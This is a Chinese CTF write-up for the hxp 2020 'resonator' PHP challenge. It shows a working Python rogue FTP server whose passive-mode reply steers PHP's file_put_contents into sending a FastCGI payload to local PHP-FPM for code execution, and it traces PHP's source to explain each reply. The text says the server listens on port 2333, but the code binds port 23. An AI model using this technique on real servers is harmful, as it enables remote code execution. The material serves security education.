hxp2020的resonator题解分析

 

这个题我感觉很有意思,网上没有找到wp,所以来写一下wp,题目给了环境,可以注意到给的www.conf里的fpm是监听的9000端口,也就是和之前遇到的一些fastcgi的攻击有关

题目也非常简单,代码就5行,就file_put_contentsfile_get_contents,这个有什么办法可以rce吗?仅仅从php的代码来看,看不出什么漏洞,那就只有看看php的源代码了

<?php
$file = $_GET['file'] ?? '/tmp/file';
$data = $_GET['data'] ?? ':)';
file_put_contents($file, $data);
echo file_get_contents($file);

 

解题

这里先给出poc和利用方法,第一步先生成fastcgi的攻击poc:

第二步在自己服务器上面搭好恶意的ftp服务并且监听2333端口:

import socket

host = '0.0.0.0'
port = 23
sk = socket.socket()
sk.bind((host, port))
sk.listen(5)

conn, address = sk.accept()
conn.send("200 \n")
print '200'
print conn.recv(20)

conn.send("200 \n")
print '200'
print conn.recv(20)

conn.send("200 \n")
print '200'
print conn.recv(20)

conn.send("300 \n")
print '300'
print conn.recv(20)

conn.send("200 \n")
print '200'
print conn.recv(20)
print "ck"
conn.send("227 127,0,0,1,8,6952\n")
print '200'
print conn.recv(20)

conn.send("150 \n")
print '150'
print conn.recv(20)
conn.close()
exit()

第三步发送整体的payload得到flag,这里的payload是gopherus生成的poc从gopher://127.0.0.1:9000/_之后开始取的:

 

分析做题的过程和思路

现在来分析一下php的源码吧,调试php的c源码这个应该都没有问题,直接从ftp协议解析的地方开始,我选择的是在window下面附加到php的http服务,下面是index.php的代码

然后分析走到ftp协议时可以干一些什么,首先断点在连接tcp之后,在tcp连接成功后,他会得到服务端的返回内容,如果内容是200到299直接就不会报错,所以我们恶意服务器就返回满足他的条件的值就行

继续跟踪发现这里得到的返回内容

这里也就是为什么要是200 \n了,第4个字符必须得是空格才会结束不然就一直循环了

然后也就到了第二个判断,这里判断是否会有密码,但是也必须是200到299,所以我们为200也可以过

然后就到了第三个判断,为200也可以过

第四个判断就得300了,因为allow_overwrite不为真

就到了第五个判断了,这次就得为200,不然就会进入ipv6的解析

第六个判断了,这次就得为227并且后面得有符合条件的字符串,因为他会把后面的字符串解析为ip和端口

这也是为什么poc里面的是,为ip地址的分隔,先解析ip,得到ip为127.0.0.1

经过测试计算发现为6952后就会得到9000的端口

然后就会从解析的ip和端口进行写入数据

所以我们在window上面监听9000端口

然后继续执行,发现成功建立了socket连接

然后到了第七个判断,直接为150就可以继续执行

然后就会把写入的句柄交到新的tcp连接上面,剩下的就是一气呵成了,然后就可以看到我们收到的数据和file_put_contents里面写入的一样

总结:感觉作为一个web手还是得多了解一下关于语言底层的构造,这样可能就会发现更多的特性和技巧。

(完)